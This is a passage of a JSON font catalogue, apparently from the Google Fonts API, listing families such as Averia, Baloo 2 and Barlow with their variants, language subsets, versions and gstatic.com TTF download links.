        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/averiagruesalibre/v8/NGSov4nEGEktOaDRKsY-1dhh8eEtIx3ZUmmJw0SLRA8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Averia Libre",
      "category": "display",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/averialibre/v8/2V0FKIcMGZEnV6xygz7eNjEarovtb07t-pQgTw.ttf",
        "300italic": "http://fonts.gstatic.com/s/averialibre/v8/2V0HKIcMGZEnV6xygz7eNjESAJFhbUTp2JEwT4Sk.ttf",
        "regular": "http://fonts.gstatic.com/s/averialibre/v8/2V0aKIcMGZEnV6xygz7eNjEiAqPJZ2Xx8w.ttf",
        "italic": "http://fonts.gstatic.com/s/averialibre/v8/2V0EKIcMGZEnV6xygz7eNjESAKnNRWDh8405.ttf",
        "700": "http://fonts.gstatic.com/s/averialibre/v8/2V0FKIcMGZEnV6xygz7eNjEavoztb07t-pQgTw.ttf",
        "700italic": "http://fonts.gstatic.com/s/averialibre/v8/2V0HKIcMGZEnV6xygz7eNjESAJFxakTp2JEwT4Sk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Averia Sans Libre",
      "category": "display",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/averiasanslibre/v8/ga6SaxZG_G5OvCf_rt7FH3B6BHLMEd3lMKcQJZP1LmD9.ttf",
        "300italic": "http://fonts.gstatic.com/s/averiasanslibre/v8/ga6caxZG_G5OvCf_rt7FH3B6BHLMEdVLKisSL5fXK3D9qtg.ttf",
        "regular": "http://fonts.gstatic.com/s/averiasanslibre/v8/ga6XaxZG_G5OvCf_rt7FH3B6BHLMEeVJGIMYDo_8.ttf",
        "italic": "http://fonts.gstatic.com/s/averiasanslibre/v8/ga6RaxZG_G5OvCf_rt7FH3B6BHLMEdVLEoc6C5_8N3k.ttf",
        "700": "http://fonts.gstatic.com/s/averiasanslibre/v8/ga6SaxZG_G5OvCf_rt7FH3B6BHLMEd31N6cQJZP1LmD9.ttf",
        "700italic": "http://fonts.gstatic.com/s/averiasanslibre/v8/ga6caxZG_G5OvCf_rt7FH3B6BHLMEdVLKjsVL5fXK3D9qtg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Averia Serif Libre",
      "category": "display",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/averiaseriflibre/v9/neIVzD2ms4wxr6GvjeD0X88SHPyX2xYGCSmqwacqdrKvbQ.ttf",
        "300italic": "http://fonts.gstatic.com/s/averiaseriflibre/v9/neIbzD2ms4wxr6GvjeD0X88SHPyX2xYOpzMmw60uVLe_bXHq.ttf",
        "regular": "http://fonts.gstatic.com/s/averiaseriflibre/v9/neIWzD2ms4wxr6GvjeD0X88SHPyX2xY-pQGOyYw2fw.ttf",
        "italic": "http://fonts.gstatic.com/s/averiaseriflibre/v9/neIUzD2ms4wxr6GvjeD0X88SHPyX2xYOpwuK64kmf6u2.ttf",
        "700": "http://fonts.gstatic.com/s/averiaseriflibre/v9/neIVzD2ms4wxr6GvjeD0X88SHPyX2xYGGS6qwacqdrKvbQ.ttf",
        "700italic": "http://fonts.gstatic.com/s/averiaseriflibre/v9/neIbzD2ms4wxr6GvjeD0X88SHPyX2xYOpzM2xK0uVLe_bXHq.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "B612",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/b612/v4/3JnySDDxiSz32jm4GDigUXw.ttf",
        "italic": "http://fonts.gstatic.com/s/b612/v4/3Jn8SDDxiSz36juyHBqlQXwdVw.ttf",
        "700": "http://fonts.gstatic.com/s/b612/v4/3Jn9SDDxiSz34oWXPDCLTXUETuE.ttf",
        "700italic": "http://fonts.gstatic.com/s/b612/v4/3Jn_SDDxiSz36juKoDWBSVcBXuFb0Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "B612 Mono",
      "category": "monospace",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/b612mono/v4/kmK_Zq85QVWbN1eW6lJl1wTcquRTtg.ttf",
        "italic": "http://fonts.gstatic.com/s/b612mono/v4/kmK5Zq85QVWbN1eW6lJV1Q7YiOFDtqtf.ttf",
        "700": "http://fonts.gstatic.com/s/b612mono/v4/kmK6Zq85QVWbN1eW6lJdayv4os9Pv7JGSg.ttf",
        "700italic": "http://fonts.gstatic.com/s/b612mono/v4/kmKkZq85QVWbN1eW6lJV1TZkp8VLnbdWSg4x.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bad Script",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/badscript/v8/6NUT8F6PJgbFWQn47_x7lOwuzd1AZtw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bahiana",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bahiana/v4/uU9PCBUV4YenPWJU7xPb3vyHmlI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bahianita",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v2",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bahianita/v2/yYLr0hTb3vuqqsBUgxWtxTvV2NJPcA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bai Jamjuree",
      "category": "sans-serif",
      "variants": [
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-11-05",
      "files": {
        "200": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIqapSCOBt_aeQQ7ftydoa0kePuk5A1-yiSgA.ttf",
        "200italic": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIoapSCOBt_aeQQ7ftydoa8W_oGkpox2S2CgOva.ttf",
        "300": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIqapSCOBt_aeQQ7ftydoa09eDuk5A1-yiSgA.ttf",
        "300italic": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIoapSCOBt_aeQQ7ftydoa8W_pikZox2S2CgOva.ttf",
        "regular": "http://fonts.gstatic.com/s/baijamjuree/v3/LDI1apSCOBt_aeQQ7ftydoaMWcjKm7sp8g.ttf",
        "italic": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIrapSCOBt_aeQQ7ftydoa8W8LOub458jGL.ttf",
        "500": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIqapSCOBt_aeQQ7ftydoa0reHuk5A1-yiSgA.ttf",
        "500italic": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIoapSCOBt_aeQQ7ftydoa8W_o6kJox2S2CgOva.ttf",
        "600": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIqapSCOBt_aeQQ7ftydoa0gebuk5A1-yiSgA.ttf",
        "600italic": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIoapSCOBt_aeQQ7ftydoa8W_oWl5ox2S2CgOva.ttf",
        "700": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIqapSCOBt_aeQQ7ftydoa05efuk5A1-yiSgA.ttf",
        "700italic": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIoapSCOBt_aeQQ7ftydoa8W_pylpox2S2CgOva.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Baloo 2",
      "category": "display",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "vietnamese",
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-06",
      "files": {
        "regular": "http://fonts.gstatic.com/s/baloo2/v1/wXKrE3kTposypRyd11_WAewrhXY.ttf",
        "500": "http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd76v_JeQAmX8yrdk.ttf",
        "600": "http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd74f4JeQAmX8yrdk.ttf",
        "700": "http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd7-P5JeQAmX8yrdk.ttf",
        "800": "http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd7__6JeQAmX8yrdk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Baloo Bhai 2",
      "category": "display",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "vietnamese",
        "gujarati",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-06",
      "files": {
        "regular": "http://fonts.gstatic.com/s/baloobhai2/v1/sZlDdRSL-z1VEWZ4YNA7Y5I3cdTmiH1gFQ.ttf",
        "500": "http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IPhf3CgFZ8HNV3Nw.ttf",
        "600": "http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IPqfrCgFZ8HNV3Nw.ttf",
        "700": "http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IPzfvCgFZ8HNV3Nw.ttf",
        "800": "http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IP0fjCgFZ8HNV3Nw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Baloo Bhaina 2",
      "category": "display",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "vietnamese",
        "oriya",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-06",
      "files": {
        "regular": "http://fonts.gstatic.com/s/baloobhaina2/v1/qWczB6yyq4P9Adr3RtoX1q6yShz7mDUoupoI.ttf",
        "500": "http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiQPsREgkYYBX_3F.ttf",
        "600": "http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiQjthEgkYYBX_3F.ttf",
        "700": "http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiRHtxEgkYYBX_3F.ttf",
        "800": "http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiRbtBEgkYYBX_3F.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Baloo Chettan 2",
      "category": "display",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "vietnamese",
        "malayalam",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-06",
      "files": {
        "regular": "http://fonts.gstatic.com/s/baloochettan2/v1/vm8udRbmXEva26PK-NtuX4ynWEzf4P17OpYDlg.ttf",
        "500": "http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznFNRfMr0fn5bhCA.ttf",
        "600": "http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznONNfMr0fn5bhCA.ttf",
        "700": "http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznXNJfMr0fn5bhCA.ttf",
        "800": "http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznQNFfMr0fn5bhCA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Baloo Da 2",
      "category": "display",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "vietnamese",
        "bengali",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-06",
      "files": {
        "regular": "http://fonts.gstatic.com/s/balooda2/v1/2-ci9J9j0IaUMQZwAJyJcu7XoZFDf2Q.ttf",
        "500": "http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJShr-hZloY23zejE.ttf",
        "600": "http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJSjb5hZloY23zejE.ttf",
        "700": "http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJSlL4hZloY23zejE.ttf",
        "800": "http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJSk77hZloY23zejE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Baloo Paaji 2",
      "category": "display",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "gurmukhi",
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-06",
      "files": {
        "regular": "http://fonts.gstatic.com/s/baloopaaji2/v1/i7dMIFFzbz-QHZUdV9_UGWZuYFKQHwyVd3U.ttf",
        "500": "http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWKa5OwS-a3yGe9E.ttf",
        "600": "http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWIq-OwS-a3yGe9E.ttf",
        "700": "http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWO6_OwS-a3yGe9E.ttf",
        "800": "http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWPK8OwS-a3yGe9E.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Baloo Tamma 2",
      "category": "display",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "kannada",
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-06",
      "files": {
        "regular": "http://fonts.gstatic.com/s/balootamma2/v1/vEFX2_hCAgcR46PaajtrYlBbT0g21tqeR7c.ttf",
        "500": "http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd7wf8tK1W77HtMo.ttf",
        "600": "http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd5AY8tK1W77HtMo.ttf",
        "700": "http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd_QZ8tK1W77HtMo.ttf",
        "800": "http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd-ga8tK1W77HtMo.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Baloo Tammudu 2",
      "category": "display",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "vietnamese",
        "telugu",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-06",
      "files": {
        "regular": "http://fonts.gstatic.com/s/balootammudu2/v1/1Pt2g8TIS_SAmkLguUdFP8UaJcK-xXEW6aGXHw.ttf",
        "500": "http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGMVgy4YqLFrUnJA.ttf",
        "600": "http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGHV8y4YqLFrUnJA.ttf",
        "700": "http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGeV4y4YqLFrUnJA.ttf",
        "800": "http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGZV0y4YqLFrUnJA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Baloo Thambi 2",
      "category": "display",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "tamil",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-06",
      "files": {
        "regular": "http://fonts.gstatic.com/s/baloothambi2/v1/cY9cfjeOW0NHpmOQXranrbDyu4hHBJOxZQPp.ttf",
        "500": "http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7CzLbe5Th_gRA7L.ttf",
        "600": "http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7CfKre5Th_gRA7L.ttf",
        "700": "http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7D7K7e5Th_gRA7L.ttf",
        "800": "http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7DnKLe5Th_gRA7L.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Balthazar",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/balthazar/v9/d6lKkaajS8Gm4CVQjFEvyRTo39l8hw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bangers",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bangers/v12/FeVQS0BTqb0h60ACL5la2bxii28.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Barlow",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-17",
      "files": {
        "100": "http://fonts.gstatic.com/s/barlow/v4/7cHrv4kjgoGqM7E3b8s8yn4hnCci.ttf",
        "100italic": "http://fonts.gstatic.com/s/barlow/v4/7cHtv4kjgoGqM7E_CfNYwHoDmTcibrA.ttf",
        "200": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E3w-oc4FAtlT47dw.ttf",
        "200italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfP04Voptzsrd6m9.ttf",
        "300": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E3p-kc4FAtlT47dw.ttf",
        "300italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfOQ4loptzsrd6m9.ttf",
        "regular": "http://fonts.gstatic.com/s/barlow/v4/7cHpv4kjgoGqM7EPC8E46HsxnA.ttf",
        "italic": "http://fonts.gstatic.com/s/barlow/v4/7cHrv4kjgoGqM7E_Ccs8yn4hnCci.ttf",
        "500": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E3_-gc4FAtlT47dw.ttf",
        "500italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfPI41optzsrd6m9.ttf",
        "600": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E30-8c4FAtlT47dw.ttf",
        "600italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfPk5Foptzsrd6m9.ttf",
        "700": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E3t-4c4FAtlT47dw.ttf",
        "700italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfOA5Voptzsrd6m9.ttf",
        "800": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E3q-0c4FAtlT47dw.ttf",
        "800italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfOc5loptzsrd6m9.ttf",
        "900": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E3j-wc4FAtlT47dw.ttf",
        "900italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfO451optzsrd6m9.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Barlow Condensed",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-17",
      "files": {
        "100": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxxL3I-JCGChYJ8VI-L6OO_au7B43LT31vytKgbaw.ttf",
        "100italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxzL3I-JCGChYJ8VI-L6OO_au7B6xTru1H2lq0La6JN.ttf",
        "200": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B497y_3HcuKECcrs.ttf",
        "200italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrF3DWvIMHYrtUxg.ttf",
        "300": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B47rx_3HcuKECcrs.ttf",
        "300italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrc3PWvIMHYrtUxg.ttf",
        "regular": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTx3L3I-JCGChYJ8VI-L6OO_au7B2xbZ23n3pKg.ttf",
        "italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxxL3I-JCGChYJ8VI-L6OO_au7B6xTT31vytKgbaw.ttf",
        "500": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B4-Lw_3HcuKECcrs.ttf",
        "500italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrK3LWvIMHYrtUxg.ttf",
        "600": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B4873_3HcuKECcrs.ttf",
        "600italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrB3XWvIMHYrtUxg.ttf",
        "700": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B46r2_3HcuKECcrs.ttf",
        "700italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrY3TWvIMHYrtUxg.ttf",
        "800": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B47b1_3HcuKECcrs.ttf",
        "800italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrf3fWvIMHYrtUxg.ttf",
        "900": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B45L0_3HcuKECcrs.ttf",
        "900italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrW3bWvIMHYrtUxg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Barlow Semi Condensed",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-17",
      "files": {
        "100": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlphgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfG4qvKk8ogoSP.ttf",
        "100italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpjgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbLLIEsKh5SPZWs.ttf",
        "200": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRft6uPAGEki52WfA.ttf",
        "200italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbJnAWsgqZiGfHK5.ttf",
        "300": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRf06iPAGEki52WfA.ttf",
        "300italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbIDAmsgqZiGfHK5.ttf",
        "regular": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpvgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRnf4CrCEo4gg.ttf",
        "italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlphgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfYqvKk8ogoSP.ttf",
        "500": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfi6mPAGEki52WfA.ttf",
        "500italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbJbA2sgqZiGfHK5.ttf",
        "600": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfp66PAGEki52WfA.ttf",
        "600italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbJ3BGsgqZiGfHK5.ttf",
        "700": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfw6-PAGEki52WfA.ttf",
        "700italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbITBWsgqZiGfHK5.ttf",
        "800": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRf36yPAGEki52WfA.ttf",
        "800italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbIPBmsgqZiGfHK5.ttf",
        "900": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRf-62PAGEki52WfA.ttf",
        "900italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbIrB2sgqZiGfHK5.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Barriecito",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v2",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/barriecito/v2/WWXXlj-CbBOSLY2QTuY_KdUiYwTO0MU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Barrio",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/barrio/v4/wEO8EBXBk8hBIDiEdQYhWdsX1Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Basic",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/basic/v9/xfu_0WLxV2_XKQN34lDVyR7D.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Baskervville",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
